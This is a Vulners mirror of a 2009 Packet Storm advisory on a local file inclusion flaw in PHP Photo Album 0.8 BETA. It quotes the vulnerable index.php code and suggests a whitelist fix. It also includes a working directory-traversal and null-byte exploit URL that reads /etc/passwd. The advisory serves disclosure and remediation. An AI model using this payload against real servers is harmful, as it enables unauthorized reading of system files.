Lucene search
+L

PHP Photo Album 0.8b Local File Inclusion

🗓️ 14 Jan 2009 00:00:00Reported by OsirysType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

PHP Photo Album 0.8b Local File Inclusion vulnerabilit

Code
`[START]  
  
###################################################################################################################################  
[0x01] Informations:  
  
Script : Php Photo Album 0.8 BETA  
Download : http://sourceforge.net/project/downloading.php?group_id=151573&use_mirror=kent&filename=PHPPA_.9_BETA.zip&37834145  
Vulnerability : Local File Inclusion  
Author : Osirys  
Contact : osirys[at]live[dot]it  
Website : http://osirys.org  
Notes : Proud to be Italian  
  
  
###################################################################################################################################  
[0x02] Bug: [Local File Inclusion]  
######  
  
Bugged file is: /[path]/index.php  
  
[CODE]  
  
$skin_temp = $_GET['preview'];  
if(isset($_GET['preview']) && file_exists("./skin/$skin_temp/config.php")){  
$skin = $_GET['preview'];  
}  
else{  
$skin = vari("skin");  
}  
require("./skin/$skin/config.php");  
  
[/CODE]  
  
If 'preview' from GET is provided, we can include it just bypassing a stupid cheek.  
file_exists("./skin/$skin_temp/config.php) <-- this cheek is stupid, becouse when  
we set a value to $skin_temp , if we set a local file with a directory trasversal  
it's obvious that the file exists, so it will be included.  
  
[!] FIX: Use another filter instead of file_exists("./skin/$skin_temp/config.php)  
Just filter $skin_temp before include it. A fix could be to declare $skin  
with a standard or local value, or just put the allowed values in an array,  
and cheek then if the skin provided is allowed. See is_in_array() function  
  
  
[!] EXPLOIT: /[path]/index.php?preview=[local_file]%00  
../../../../../../../../../../../../etc/passwd%00  
  
###################################################################################################################################  
  
[/END]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation